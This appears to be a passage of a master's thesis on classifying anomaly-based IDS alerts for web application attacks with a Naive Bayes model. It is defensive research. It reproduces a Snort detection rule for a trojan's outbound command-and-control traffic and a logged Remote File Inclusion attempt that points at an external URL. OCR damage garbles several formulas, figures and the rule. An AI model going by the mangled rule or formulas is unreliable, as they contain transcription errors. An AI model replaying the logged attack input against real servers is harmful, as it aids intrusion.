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Attack classification of web application alerts - Abstract

Abstract

Intrusion detection systems are used in an operational IT environment to strengthen the
security. Even with firewalls, system hardening, patch management and other preventive
security controls, intrusions might still occur because of remaining weaknesses. IDS detect
intrusions from predefined signatures or by detecting anomalies in behaviour from users,
network, applications or systems. Signature-based IDS are dependend on defined patterns, rules
or signatures that are developed for know attacks. New attacks, such as zero-day attacks or
changing signatures of attacks are typically not detected by signature-based IDS. Anomaly-based
IDS detect intrusions by detecting abnormal behaviour such as unexpected network
communication, service requests or user behaviour. Because of the non-signature approach an
anomaly-based IDS can also detect previously unseen attacks. If the number of false alerts can be
kept low, anomaly-based IDS can reach good accuracy and detect even unknown attacks.
However, because only anomalies are detected, an operator will have to analyse the anomaly
event manually to verify and classify an alert. This leaves the usability of anomaly-based IDS at a
low level, even when a high accuracy is achieved.

This thesis presents an experiment to classify anomaly alerts automatically through supervised
machine learning. The experiment is performed on web application attacks, with anomaly alerts
received from the SilentDefense anomaly-based intrusion detection system. After considering
several machine learning methods, naive Bayes is selected for the experiment. A naive Bayesian
network is built from attack features that are extracted from the anomaly event data. The
accuracy of the network is tested with two different datasets. Incremental learning is briefly
regarded. Also a threshold is introduced to prevent misclassifications.

The experimental results show that it might very well be possible to classify anomalies with a
high TP rate and a low misclassification rate, using simple (stateless) features and a self-learning
Naive Bayesian network. A TP-rate of over 90%, as formulated in the research goal, might be
achievable in practice for any well-defined attack class. A FP-rate of 1% or less can even be
reached with the use of a threshold.
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Alert classification of web application attacks - Introduction

1. Introduction

This master’s thesis describes a research project that investigates whether it is possible to
determine the concrete attack class of alerts from an anomaly based intrusion detection system
with supervised machine learning.

The thesis starts with some backgrounds and a definition of the research question in chapter 2.
The general approach that is taken in the research is also explained in this chapter.

Chapter 3 gives an overview of intrusion detection systems (IDS), explaining different aspects of
IDS in general. It also describes differences between signature-based IDS and anomaly based IDS,
and some information on the SilentDefense IDS that was used in the experiment is given.

Chapter 4 discusses some well-known methods in supervised machine learning and it is
explained why Bayesian Networks, or more precise Naive Bayes is chosen as the machine
learning method for the experiment.

In chapter 5, attack classes are defined that will have to be recognized by the Bayesian classifier,
and features are selected for these classes that should make correct classification possible.
Chapter 6 discusses the process of data collection to obtain a labelled data set for learning and
testing. It also describes the process of feature extraction from the resulting data set, and the
setup of the analysis towards a Bayesian classifier is explained.

In chapter 7 the resulting Bayesian network is presented, and the results with this classifier are
analysed and discussed.

Finally, in chapter 8, conclusions are drawn and some ideas for future research and
implementation of the proposed method are given.
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2. Problem Statement

2.1. Background

Intrusion detection systems (IDS) add a layer of security behind perimeter defence mechanisms
such as firewalls. With intrusion detection the behaviour of systems and users is analysed to
detect intrusions that have occurred in spite of all other security mechanisms in place. The
approach that is taken in IDS is typically signature based or anomaly based. In the signature-
based approach signatures are developed for known attacks. New events are compared with the
list of signatures to be able to identify an attack that has occurred. This approach typically gives a
low false positive rate (false alerts), but has a general disadvantage that it can only detect known
attacks. Anomaly-based intrusion detection tries to find evidence for intrusions by finding
deviations from what can be defined as normal system or user behaviour. This normal behaviour
can be defined in rules or in a different type of static or dynamic model. The main advantage of
anomaly-based IDS is that it can detect previously unknown attacks. A shortcoming in the
usability of anomaly-based IDS is that, even in a well-tuned system with a low false positive rate,
an alert will only tell that an anomaly has occurred, not what kind of attack has occurred.
Automized post-classification of alerts could improve on the usability of anomaly based IDS.

2.2. Research Question
In this research it is investigated whether models in supervised machine learning can be used to
classify alerts from an anomaly based intrusion detection system.

The main research question that will be answered is:

“Is it possible to classify alerts from anomaly based intrusion detection systems
with sufficient accuracy, using supervised machine learning?”

For ‘sufficient accuracy’ the aim is to be able to classify over 90% of all alerts correctly. This
would mean for example that if 30 alerts are received per day, 27 would be classified correctly
and 3 would be presented incorrectly to the security monitoring operator. For practicle usability,
this would result in having a usable classification system.

2.3. Approach

The research will focus on web application attacks only such as Cross-site Scripting and SQL
injection. For the research an experimental setup will be used with the anomaly based IDS
SilentDefense monitoring a webserver. Data sets of anomaly alerts will be collected from real-
world attacks from external malicious attackers and from test-patterns for web application
attacks that will be used to simulate attacks on the monitored system. All attacks that are
registered as an anomaly will be classified manually by the operator of the IDS and labelled
according to defined attack classes. Any false positive of the IDS will not be included in the
datasets because it cannot be labelled for the supervised machine learning approach. With the
obtained datasets a supervised machine learning method, that will have to be selected first, can
be trained and tested. Results can then be analysed to be able to answer the research question.

In the research it is chosen not to use any analysis results from the IDS that delivers the alerts.
The IDS could give extra information about the anomaly such as in which part of the event data
the anomaly is found, or what the deviation from normal behaviour is. These details could be
included in the model to improve classification results. The reason not to include this extra
information is that the research tries to find a general solution that will work with any IDS.
Including the extra details to improve the classification model would blur the results, making it
more difficult to draw general conclusions from the research.

To categorize attacks, features from network events will be used to build a machine-learning
model. A network-based approach will be used, not a host-based approach, so features from
internal system behaviour will not be included. With this approach a system independent model
can be created usable for all web systems. Also, only single events will be used. No relations
between requests, or any comparison to a learned normal behaviour will be included in the
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model. This approach is chosen to be able to create a light model that is independent of any
implementation features and independent of having to remember or keep track of events over
time. Goal is however to create a model fit for incremental learning that can automatically
improve over time.
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3. Intrusion Detection Systems

Intrusion detection systems are used in an operational IT environment to strengthen the
security. The need for IDS comes from the fact that it is very hard to prevent intrusions
completely by placing firewalls, updating all systems and software regularly, and strengthening
authentication mechanisms. Even then, malicious intrusions might occur because of other
problems such as unsafe behaviour by end-users infecting internal systems, misconfigurations in
firewalls or servers, or internal attacks from within the guarded perimeters. Unsafe behaviour by
end-users often is a violation of the company’s security policies, but happens nonetheless. Some
examples are: users that visit non-work-related malicious websites, users unaware of security
hazards such as phishing, users that extend the network infrastructure with insecure wireless
access points, and users that bring in malware on infected USB drives. More examples can be
given, but the lesson learned is that monitoring the operational IT environment is necessary to
detect and respond to such breaches in security. IDS plays an important role in this monitoring
process.

IDS only detects intrusions, hence the name. An extension to this functionality is when the IDS is
able to not only detect intrusions, but can block further intrusive behaviour once the intrusion is
detected. This form of IDS is referred to as intrusion prevention (IPS). Prevention of further
intrusion is a desirable feature, since detection alone will not solve the problem at hand.
However, automatically blocking of further activity from a user, system or process would worsen
the consequences in case of a false alert. The prevention mechanism can also be abused explicitly
by attackers to cause a denial of service. For these reasons, IDS is often preferred without
automatic preventive action taken by the system.

The performance quality of IDS can be measured by the error rates that occur during detection.
An IDS might raise a false alarm now and then, when analysis shows that a malicious event has
occurred while in fact this was not the case. Such a false alert is referred to as a False Positive
(FP). Another type of error is a False Negative (FN), where no alert is raised by the IDS, where it
should have. Next to these two types of errors also True Positives and True Negatives can be
defined. A True Positive is a correct alert, raised by the IDS in response to malicious activity. A
True Negative is the event where non-malicious activity is analyzed by the IDS and no alert is
raised.

IDS is categorized into different types based on how intrusions are distinguished from normal
behaviour and whether the analysis is done within a host or on the network. The latter
differentiation categorizes IDS into host-based (HIDS) or network-based (NIDS) intrusion
detection. In NIDS network communication is analysed for malicious content without knowing
the effect of the content within the receiving systems. The attacker’s behaviour is analysed, not
the attack result within a host, although NIDS can analyse the external effect from internal
behaviour by studying resulting communication from hosts. In host-based intrusion detection
(HIDS), intrusions are monitored from within a computer system. HIDS can therefore not only
analyse network communication from and to the host, but also monitor behaviour from the
operating system and behaviour from applications. The approach taken to differentiate normal
behaviour from intrusions is identified as signature-based or an anomaly-based. The
characteristics of both approaches are described in the coming subparagraph and are essential
for the reason this research experiment is performed.

3.1. Signature-based versus Anomaly-based IDS

Signature-based IDS detect intrusions by specific signatures that are defined for concrete attack
patterns. A signature defines unique evidence for a known attack. An example signature from the
well-known NIDS Snort (Roesch, M., 1999) is displayed below. Snort’s detection engine uses
detection rules that specify signatures based on communication parameters and packet contents.
The rule that is displayed in the example tries to detect outgoing communication from an internal
host infected with a Buterat Trojan.
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alert tcp SHOME_NET any -> $SEXTERNAL NET $HTTP_PORTS (msg: "MALWARE-CNC
Win.Trojan.Buterat outbound connection”; flow:to_server,established; content:"From|3A|";
http_header; content:"Via|3A|"; http_header; urilen:13;
pere:"/M\x2A\d{3}\x2f\d{3}\x2ehtml$/U"; metadata:policy balanced-ips drop, policy
security-ips drop, ruleset community, service http;
reference:url,www.virustotal.com/file/90fb793d1fd7245b841ca4b195e39442991d97d8540
90729062d700fe74553e5/analysis/; classtype:trojan-activity; sid:25269; rev:2;)

rule parts:
rule-header describing protocol characteristics of the traffic to be analyzed
alert message that will be generated if the rule matches the traffic that is analyzed
signature to be matched

Figure. An example of a signature-based IDS rule from Snort.

The rule analyses outbound HTTP traffic only, which can be seen in the rule’s header (alert tcp
$HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS). The header contains variable definitions
that are specified in configuration files for the monitored network environment. After the rule-
header follow rule-details where, in this rule, first is defined to check for the existence of HTTP
headers “From:” and “Via:” to limit the scope of analysed HTTP traffic to HTTP requests
containing these headers. The signature then detects an HTTP request-URI with an exact length
of 13 characters and the content  matching the regular expression
"/M\x20\d{3}\x2f\d{3}\x2ehtml$/U". This regular expression identifies a URI of the form
“/ddd.html”, where ddd is a 3 digit numerical string.

The approach of defining exact unique signatures for known attacks gives good results for known
attacks resulting in a low False Positive rate for the system. However, on new attacks, variations
of an attack, or obfuscated attacks, a signature-based IDS will not detect the attack anymore. A
typical problem with signature-based IDS is therefore a high False Negative rate.

Anomaly-based IDS detect intrusions by differentiating normal activity from abnormal activity in
a more statistical sense of the term normal. An example could be a definition for a company’s
user-LAN where employees only work during the daytime. If outbound network communication
would then be detected at night from this network, this could be identified as an anomaly. An
anomaly-based IDS defines a profile of what is normal behavior from users, hosts, applications,
or networking services. This profile can be pre-defined in static rules by an expert, or it can be
learned automatically by monitoring normal behavior during a well-chosen time-period.

The major advantage of anomaly-based IDS is that it can also detect previously unknown attacks.
For anomaly-based IDS false positives are generally a bigger problem to overcome. For the
example used where user communication at night is defined as an anomaly, a false positive could
occur when employees have to work late.

An anomaly based IDS will typically not conclude what type of attack has occurred exactly, but
merely that an anomaly has occurred that indicates a malicious intrusion. An anomaly-based IDS
will raise an alert that an anomaly has occurred, and can include details from the event data and
how the event deviates from normal behavior. What exact type of attack has occurred however,
is not known to the IDS, because no attack definitions exist in the IDS’ profile, only a definition of
what is normal or abnormal behavior. A major disadvantage of anomaly-based IDS is therefore
that an alert has to be manually inspected and classified by a human operator, leaving the
usability of anomaly-based IDS at a low level.

The amount of related work on automatic classification appears to be limited. Similar research
has been done by Bolzoni (2009), resulting in Panacea, an automatic classification system with
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an overall performance of up to 92% correctly classified attacks in automatic mode, with over
75% correct classifications for any attack class.

3.2. SilentDefense

For the research experiment, the anomaly-based NIDS SilentDefense Web is used
(SecurityMatters, 2013). SilentDefense Web, from here on referred to as SilentDefense, monitors
web applications by first building a profile of normal HTTP communication to and from a web
application. This profile contains characteristics of normal communication such as format and
values of request parameters in combination with HTTP protocol characteristics. For parameters
the value type and length are defined and with pattern descriptions and whitelists a more exact
definition of normal parameter values can be given. If a parameter has an abnormal type, value
or distribution, or is unknown, an alert will be raised. Also, if requests are done to unknown
locations or when unusual HTTP request details occur, an alert will be raised. If the learning
period for profiling is taken long enough to be able to profile all normal use, SilentDefense has a
low FP-rate. During operation the detection profile can still be manually extended or the system
can temporarily re-enter learning mode for additional learning. An example of an alert raised by
SilentDefense is displayed below.

Alert detail: BACK TO RESULTS

Xflrtt egaileslement defining an alert

Summary

Date: 02/10/2013 15:09:08

Source Host: 69.197.129.42 : 50422 (United States)
Destination Host: 192.168.100.2 : 80 (TCP)

Status: Not analysed

Priority: Low

Description:

User Notes:

Monitored Network
Monitored Host
Detection Engine

Alert Details

Alert Detail Type:
Direction:

Web Alert Detail Type:
Cause:

Host:

Method:

Path:

Key:

Value:

Trim the model

Web

Upstream

Unusual Web Application Parameter
Parameter Not In The Model
WIKI.SECLAB.NL

GET

/index.php

WPDESTFILE

HTTP://IMG523.IMAGESHACK.US/IMG523 /3258 /NAAMLOOSTP9.JPG

Trim the model

Figure. Alert from SilentDefense

The reason that the alert in the example was raised is that the parameter WPDESTFILE used in
the request is not in the model that was profiled for the web application that this request was
sent to. Even though this malicious request, which is a Remote File Inclusion attempt, is detected
by SilentDefense, the attack class itself cannot be concluded by the anomaly-based IDS.
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4. Supervised Machine Learning
4.1. Machine Learning

Machine learning is a form of artificial intelligence where predictive models for a certain task are
constructed from data. In Supervised Machine Learning a training set with classified instances is
used to develop a model with which new instances can be classified. Alternatives to supervised
machine learning are unsupervised machine learning, where hidden patterns are discovered in
unlabelled data, and reinforcement learning, where reward signals are used to discover the best
action. Different approaches are available for supervised learning. Well-known methods are
Decision Trees, Artificial Neural Networks, Bayesian Networks, Instance Based Learning and
Support Vector Machines. Characteristics of these methods are described in the following
paragraph.

4.2. Classification Algorithms

4.2.1. Decision trees

Decision trees are trees that classify instances by choosing a path from the root node down the
tree based on feature values. Each node in the tree represents a feature and each branch a value
or value range that the feature can have. Each leaf of the tree represents a class that the instance

falls into once it reaches the end of its path down the tree. As an example a decision tree is shown
below to decide if a guitar is a Fender or a Gibson guitar. In this case it is based on five features.

as no poin

corners

humbuckers elements

e
symmetric

tremelo

Figure. Decision tree to classify (standard issue) Fender and Gibson guitars

Building a decision tree is done with heuristics of the training data. For example, the feature that
separates the training data best will be the root node. This process can recursively be continued
to build the tree further. A standard issue that will occur when building a decision tree is
overfitting because building the tree can be continued until it perfectly fits the training data. To
prevent overfitting the training algorithm has to be stopped in time, and post-pruning can be
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applied where the tree is simplified by removing parts that contribute too little to the
performance.

4.2.2. Artificial Neural Networks

The naming of Artificial Neural Networks (ANN’s) is inspired by Biological Neural Networks
(BNN’s) such as the brain. In BNN’s neurons, or nerve cells, process input signals, based on
previously learned patterns, to activate output if the combination of all inputs surpasses a certain
threshold. This output is then passed to following neurons in a larger neural network. An ANN is
also a system of interconnected neurons that compute a weighted output from inputs, also with
the use of a threshold.

The building blocks of an ANN are perceptrons, a single neuron with feature values as input. The
output is then determined as the sum of the weighted input values. The output value is passed
through a threshold function to determine if the output is 1 or 0, classifying the input into one of
two classes.

w1 threshold
function

—p» output

Figure. Perceptron structure

With a perceptron, only linearly separable data sets can be classified. With multiple layers of
perceptrons more complex learning networks can be created. An ANN is a multi-layer perceptron
where multiple layers of nodes are connected to determine eventual output. An ANN has an input
layer, one or more internal (hidden) layers and an output layer.

Internal

Input Internal

layer

Output
layer

I
I

layer | layer
1
1

Figure. Artificial Neural Network

Training a network is done by setting initial weights to zero, or a low random value, or if possible
to good guesses for weight values to speed up the learning process. The weights are then
adjusted by repeatedly going through the network with instances of the training set, comparing
the outcome with the labelled data. When the outcome value does not match the label value, the
weight values are adjusted slightly towards the desired output and steps are repeated. Training
time for neural networks in general is usually long compared to most other supervised machine
learning methods.
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4.2.3. Bayesian Networks

A Bayesian network is a Directed Acyclic Graph (DAG) as a representation of a probabilistic
distribution. Each node in the graph is a random variable X;and each edge holds a probabilistic
dependency between two nodes. This dependency is specified by a conditional probability table
for each node, holding the relations with the node’s parent.

A Bayesian Classifier is a Bayesian Network for a certain classification. It has a node C that
represents the class variable, and a node X; for each feature in the model.

In practical applications of Bayesian networks, not necessarily all possible relations are modeled
in order to keep the model compact and therefore usable. The simplest form of a Bayesian
network is the simple Bayesian classifier (SBC), often referred to as Naive-Bayes (NB). In NB
complete independence of all features is assumed. This leads to a model as pictured in the figure
below.

© 06 0000

Figure. General Bayesian network versus Naive Bayesian network.

Even though the independence assumption in NB is almost always untrue in the real world, NB
can have a very good performance, and often is competitive with other classifiers, as
demonstrated and analyzed by for example Langley, Iba, & Thompson (1992), and Friedman,
Geiger, & Goldszmidt (1997).

Bayesian networks are based on Bayes’ Theorem on conditional probabilities:

peals) = PEDP@)
P(B)

To stick to the earlier example of Fender and Gibson guitars the training and operation of a
Bayesian Network can be explained. Suppose that someone tells you that he or she has seen a
very nice guitar and that it had a tremolo system. Given the right probabilities we can now
calculate the chance that this guitar was a Fender guitar. Suppose that we know that 75% of all
Fender guitars have tremolo systems, so P(Tremolo|Fender), or P(T|F) = 0.75. Also it is known
that 10% of all Gibson guitars have tremolo systems, so P(T|G) = 0.1. An estimate could be that
the rate of Fender guitars versus Gibson guitar is 50/50, and we known that this particular guitar
was one of the two. The probability that this guitar was a Fender guitar can now be calculated as:

P(T|F)P(F) _ P(T|F)P(F) 0.75- 0.5

P(FIT) = P(T) ~ P(T|F)P(F) + P(T|G)P(G) T 075-05+01-05

0.88

In the learning phase of building a Bayesian classifier the occurrence of the chosen features is
counted in the instances in the training data set. From these frequency counts the probabilities
for the classifier are calculated. In the above example our training data could have consisted of
100 Fender guitars and 100 Gibson guitars. To get the probabilities in the example, 75 Fender
guitars and 10 Gibson guitars would need to have had a tremolo system.

In a larger Bayesian network probability tables can be calculated for all feature nodes from the
frequency counts in the training data. Suppose that we have also counted the number of
humbuckers on each guitar, and whether the guitar body has ‘pointy corners’ or round edges
only.
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Tremolo Humbuckers Pointy corners
Fender 75x 1:10x, 2:5x 5x
Gibson 10x 1:20x, 2:60x, 3:20x 35x

Table. Guitar feature frequencies

Assuming complete independence of these features, a Naive Bayesian network classifier can be
defined with conditional probability tables (CPT).

yes no 0 1 2 >=3 yes no
Fender 0.75 0.25 Fender 0.85 [0.1 0.05]0 Fender 0.05 0.95
Gibson 0.1 0.9 Gibson 0 0.2 0.6 |0.2 Gibson 0.35 0.65

Figure. Example Naive Bayesian network.

A standard problem in Bayesian Network is how to deal with probabilities of 0, because this
would always result in a total probability outcome of 0 in calculations, erasing all information
from other features. A correction has to be used to prevent this, for example by starting with an
initial frequency count of 0.5. Several methods are available for correction, such as a Laplace
estimator where 1 is added to both numerator and denominator values in the probability
calculation. If, for the sake of simple demonstration, we only use a 0.5 frequency count instead of
0, we can correct the example classifier for the fact no Fender guitar has 3 humbuckers, and all
Gibson guitars have at least 1 humbucker:

yes no 0 1 2 >=3 yes no
Fender 0.75 0.25 Fender 0.85 0.1 [ 0.05 | 0.005 Fender 0.05 0.95
Gibson 0.1 0.9 Gibson 0.005 0.2 [ 0.6 0.2 Gibson 0.35 0.65

Figure. Example Naive Bayesian network with correction for 0-probabilities.

With this Naive Bayesian Network the probability that a new sample is a Fender or a Gibson
guitar can be calculated. The probability of a sample guitar being e.g. a Gibson (class G) is:

P(fl'fz'f3|G) 'P(G)
P(f1, f2, f3)

P(G|f1’f2'f3) =

with f), f5, f5 being the values for the selected features.
Because of the independence assumption:

P(f1, f2, f31G) = P(f11G) - P(£2G) - P(f3|G)

and:

10
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P(fu. f2. f3) = P(f1, 2. f31G) - P(G) + P(fy, fo f3F) - P(F)
= P(f11G) - P(f21G) - P(f31G) - P(G) + P(f1|F) - P(f1|F) - P(f3|F) - P(F)

resulting in:

) PCAIG) - P(5IG) - P(AIG) - P(G)
PG 113 = 516 PORIO) - PORIG) - P(G) + PLAIF) - PLLIF) - PUATE) - PCF)

With this formula, probabilities are easy to calculate, because all needed values are available in
the classifier. If we take the following guitar as a new sample, our classifier can predict the make
of this guitar from the defined features only (ignoring the fact that it clearly says Gibson on the
head of the guitar):

Figure. Sample guitar

The feature values for this sample are that it has no tremolo system, 2 humbuckers and it does
have ‘pointy corners’. The probabilities for this sample then are:

p(Gibsonlmo,2, yes') = 0.9:0.6-0.35-0.5 0,997
tDSOMIMO, 2 YeS ) = 5970603505+ 0.25-0.05-0.05-05

p(Fenderlmo,2, yes’) = 0.25-0.05 - 0.05 - 0.5 003
enaerine, £,yes) = 425-0.05-0.05-05+09-0.6-035-05

So, the classifier seems pretty convinced that the sample is a Gibson, which is correct in this case.

4.2.4. Instance Based Learning

With instance based learning a new instance is compared to instances in the available training
data. Instance based learning is also referred to as lazy-learning, because generalization of
training data is delayed until an actual classification has to be done. Examples of instance based
learning algorithms are the Nearest Neighbour type of algorithms such as k-Nearest Neighbour
(kNN). With kNN an instance that has to be classified is compared to the instances in the training
data. It looks for the k training instances that resemble the new instance most. The class
prediction of the new instance will then be the class label that occurs most frequent in these k
training instances. If n features are used to describe a sample, instances are placed in an n-
dimensional space. For a new instance, the distance to training instances can then be calculated
as the Euclidean distance, but relative distance calculations and extra weighting schemes are also
used to improve the results.

11
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Figure. Illustration of k-nearest neighbour principle

Consequences of the lazy-learning approach are that the complete training data set has to be
stored and that the speed of classifying instances is slow compared to most other methods.

4.2.5. Support Vector Machines

A Support Vector Machine (SVM) is a classifier that separates instances of two classes in a high-
dimensional feature space by a separating hyperplane. SVM are the most recent supervised
machine learning method, defined by Cortes & Vapnik (1995). They explain the idea of a support
vector network as input vectors that are non-linearly mapped to a very high dimension feature
space, in such a way that a linear decision surface can be constructed. In the basic model the two
classes have to be completely separable and the optimal hyperplane is chosen in such a way that
the margin between the two classes is maximized. Data points that lie on the margin boundary
are called the support vectors and the resulting classifier is defined by a linear combination of
these points. New data points can then be mapped into the same high dimensional space, placing
them on one side of the hyperplane, which determines their predicted class.

4
.
'
'
Y \‘\
Optimal I\I;rberplane

[
>

Figure. A Support Vector Machine (SVM) in 2-dimensional space

To prevent having to calculate in a possibly billions or higher dimensional space, a so-called
kernel trick is performed, avoiding the need for explicit mapping to the high dimension through
the use of a kernel function. With this kernel function the needed computations can still be done
in the original feature space making calculations feasible.

12
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4.3. Algorithm Selection

With an overview of different supervised machine learning methods, the choice is made which
algorithm to use for the experiment. The chosen method must be able to handle multi-class
problems, because we are not looking for a true/false prediction, but a classification of multiple
attack categories such as Cross-site Scripting, SQL injection, Path Traversal, etcetera. The
algorithm selected should also be able to deal with ‘more than a few’ features, probably dozens.
These features are sometimes binary (e.g. Was the HTTP request RFC compliant?), sometimes
discrete/categorical (e.g. what HTTP response status code is returned?), and sometimes more
continuous (e.g. how long was the HTTP request?). Also, it is hard to estimate whether all chosen
features are always relevant, or relevant for all attack classes. This goes especially for different
operational situations if the model would be used in practise, and for future developments in
attacks. The chosen algorithm must therefore be robust towards irrelevant features. Also for an
operational application of the chosen algorithm, incremental learning must be possible and easy,
because you would want continuous learning with each new event handled in an operational
situation.

A nice overview and comparison of supervised machine learning methods is given by Kotsiantis,
Zaharakis, & Pintelas (2007). It discusses differences, strengths, and weaknesses of the different
methods. It shows for example that all methods have a way to be able to deal with multi-class
problems even if the basic method is fit for binary decisions only, such as SVM.

Speed of classification might differ between methods, but this is not really a selection criterion in
the setting of this research. Only detected alerts will have to be classified. The real time
performance criterion is therefore for the anomaly based IDS that has to analyse all traffic real-
time, and not for the classification system that only has to classify in the much rarer event of an
anomaly alert. This will typically only happen several times a day for a well-tuned IDS, or maybe
tens or hundreds of times a day if the guarded systems are under heavier attack.

SVMs and neural networks perform best on continuous features, although discrete features can
be rescaled to a continuous representation. Both these methods need a large data set for training
to achieve good prediction accuracy. Also speed of training and incremental learning is typically
rather slow, especially for neural networks. Speed of training is not very relevant for the research
experiment, but in an operational situation retraining might be needed when changes are
required to the operational classifier, for example when new features or new attacks are added
over time. But, in the incidental occasion that retraining is needed, a waiting time of half an hour
or so should still be no problem.

Methods that are best fit for incremental learning are Naive Bayes, and kNN, as an instance based
learning algorithm. For KNN however, it also states that it is very sensitive to irrelevant features,
and noise in feature values.

Decision | ANN (Naive) kNN SVM
Tree Bayesian
Requirement Network
Speed of classification + + + -- +
Speed of training + - + ++ -
Fit for incremental learning - + ++ T+ -
Accuracy in general +/- + - +/- ++
Scalability to number of features + - ++ T+ -
Tolerance to irrelevant attributes + - +/- +/- ++
Fit for multi-class problems + - + - -
Comprehensibility ++ - + - -
Scale: --, -, +/-, +, ++

Table. Comparitive overview of characteristics of supervise machine learning methods

The accuracy of Naive Bayes in general is less compared to more sophisticated methods because
the assumption of independence of features is almost always untrue distorting the simplified
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probability calculations used. Also, the problem at hand is a rather fuzzy problem where a
probabilistic approach, as with NB, seems to fit best. An example to explain this ‘fuzziness’ is a
feature such as the length of a request parameter in an HTTP query string or a POST parameter.
It is not as straightforward that a XSS attack will have a certain parameter length, but in general,
the length of parameter values will increase if an attacker tries to include complete malicious
scripts in a request parameter. The probability of a request being a XSS attack might therefore
increase with a longer parameter length, but trying to put this in a decision tree might be
difficult. A feature might be relevant in general but not in all cases. In a probabilistic approach, a
full Bayesian Network could become too complex with a lot of features, but a Naive Bayesian
classifier would keep the model simple. And even though the independence assumption of NB
would not be completely realistic, dealing with all features independently could still give good
outcomes, as NB does in general with these violations of the real dependencies.

For the research experiment, Naive Bayes is chosen because the probabilistic approach seems to
fit the problem’s characteristics well and because it is computationally fast and incremental
learning is easy with NB. Decision trees are not used because the problem at hand does not seem
to be very linear. Artificial Neural Networks and Support Vector Machines are not used because
they do not scale very well to a higher number of features and the comprehensibility of both
methods is low. kNN is not used because as a lazy learning method the speed of classification is
low.

Using a full Bayesian network instead of NB, or even introducing limited dependency relations
between features in the network, might be difficult because clear dependency relations could be
hard to define. Also, the independence assumption in NB is estimated not to be a problem
because, even though features of attacks might have some dependency relation, regarding the
features completely independent of each other can still result in a correct best guess estimate of
the attack class.

14
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5. Attack Classes and Features

Before an experiment can be done, first the attack classes have to be defined. Using classes such
as Cross-site Scripting and SQL injection seems evident, but which other classes for web
application attacks should be used. How about other injection techniques like LDAP injection or
XPath Injection? Are those types of attack separate attack classes or do we need a broader class-
definition than SQL injection. Also, for the experiment, not all types of attacks have to be covered,
but the aim is to define and test for the top-5 attack classes in web application attacks.

5.1. Attack Classes

5.1.1. Choosing attack classes
A good source for the major attack classes could be OWASP, the Open Source Web application
Security Project, well known for their OWASP Top Ten Application Security Risks. The top-3 in
this OWASP list, both in the last definitive 2010 version, as well as in the 2013 release candidate
for the OWASP Top Ten, has the same risks, although the second and third place have switched
places. In the 2013 version the top-3 is as follows:
1. Injection, containing different injection flaws like SQL injection, OS command injection
and LDAP injection where.
2. Broken Authentication and Session Management, containing vulnerabilities regarding
authentication and session management.
3. Cross-site Scripting (XSS), where an attacker can inject scripts that will eventually be
executed in a victim’s browser.

If we consider detectability for this top-3, the injection attack class is a very broad class,
containing different types of more concrete attacks, each having different discriminating
features. The attack class in second place, broken authentication and session management, also is
a diverse class, and more a class of vulnerabilities than attacks.

Another source, to determine the frequencies with which vulnerabilities are exploited, is the
national vulnerability database (NVD) that is kept by NIST, the US National Institute of Standards
and Technology. NVD vulnerabilities are traceable by their CVE (Common Vulnerability and
Exposures) number. Examples of CVE categories used for labelling vulnerabilities are XSS, CSRF,
buffer errors, code injection, Path Traversal, SQL Injection and OS command Injection. These
vulnerabilities are not kept for web applications specifically but for computer systems in general.
Of the 5000+ vulnerabilities registered in 2012 the following ‘market shares’ of the possibly web
application related categories are listed in the table below.

Category Total Buffer | XSS SQL CSRF | Code Path 0S command
errors injection injection | Traversal | injection

#Occurrences | 5289 724 720 238 153 136 118 14

Percentage 100% 13.7% | 13.6% | 4.5% 29% | 2.6% 2.2% 0.3%

of total attacks

Table. CVE vulnerabilities over 2012

Buffer errors, e.g. stack or heap based Buffer Overflows, have a large percentage of the CVE
vulnerabilities, but are not web application specific. Also code injection is not web application
specific. However, both are a web application threat because Buffer Overflows and code injection
attacks are possible and do occur towards websites over the HTTP protocol.

Next to having understandable attack classes it is also important that classes are detectable. To
get detectable attack classes we consider previous work on detecting web application attacks to
find out what attack classes have discriminating features. Kruegel, Vigna, and Robertson (2005)
used features like attribute length, and the use of non-printable characters, to detect attack
classes Buffer Overflow, Directory Traversal and XSS. Buffer Overflow attacks are not often
directly aimed at web applications, because Buffer Overflow attacks are a typical problem for
programs written in C and C++. However, programming libraries or webserver components
might be written in C or C++. It can then happen that web application input can cause Buffer
Overflow problems when the input is eventually used in such a function or component.
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Other attack classes that have been considered are: Local and Remote File Injection (LFI/RFI),
Cross-Site Request Forgery (CSRF), Reconnaissance, (D)DoS, Brute Force or Dictionary Password
attacks.

These classes have been dropped for the experiment for different reasons. LFI/RFI was dropped
because there was no file upload possibility in the webservers used for testing, so occurrences or
attempts of this attack are expected to be low. CSRF is dropped because that type of attack is
hard to detect since the requests themselves in a CSRF attack are valid requests. In general,
checking the Referer Http header (“Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet”,
2011) will detect part of the CSRF-attacks. However, the Referer header is not always present,
e.g. when a URL-link is clicked in an email message (Wharton, 2007), leading to a high False
Negative rate. Also, the fact that the referer is different does not necessarily mean a CSRF attempt
is made, leading to a high False Positive rate. DDoS attacks are dropped because these are not
‘content attacks’, meaning that the attack is not in the contents of a separate HTTP-request, but in
the amount of traffic towards a web application, server or IT network. A DDoS attack can be
detected by monitoring the number of requests that is received within a short time period
(seconds), but a chosen restriction in this experiment is that conclusions must be drawn from
single requests only. For password attacks it also applies that this can only be concluded from
combining multiple requests, although a single attempt might be detectable from the error
response that is returned after a failed log in attempt. Single failures alone however will also lead
to false positives.

For the experiment attack classes are chosen in such a way that:
- Attack classes are commonly well-know and therefore understandable in security
monitoring operations and reporting,
- Attack classes have a high risk profile and therefore detection is important for
companies,
- Attack classes seem to have clear discriminating features so detection might be possible.

Eventually, for the experiment, five attack classes have been chosen. The resulting classes that
are defined for the experiment are:

- XSS, still very high on the (OWASP) list of web application risks and CVE statistics,

- SQL Injection, also high on the OWASP list in the more general class of Injection risks. I
will define discriminating features for SQL injection only, but this might overlap with
other types of injection like XPath injection.

- Buffer Overflows, because it might have very different discriminating features than the
other attack classes. Also, explicit detection and registration of this attack class, when it
occurs, might be important for security monitoring.

- Path Traversal, because of its discriminating features and it might also catch (part of the)
Command Injection attempts that are left out in the definition of the SQL injection class
compared to the larger OWASP Injection class.

- Reconnaissance attacks, to see if it is possible to define and detect the broad range of
scanning attacks that precede a more intrusive attack. Detection of this class might be
difficult because it could be a class that is hard to define unambiguously. The experiment
might therefore be unsuccessful for this class, i.e. low True Positive rates and/or high
False Positives rates.

For these five classes it is investigated what features can be used to classify attacks, and for all
classes except Buffer Overflows an experiment is set up to test if successful detection is possible
with a supervise learning approach. Buffer Overflow attacks are eventually left out of the
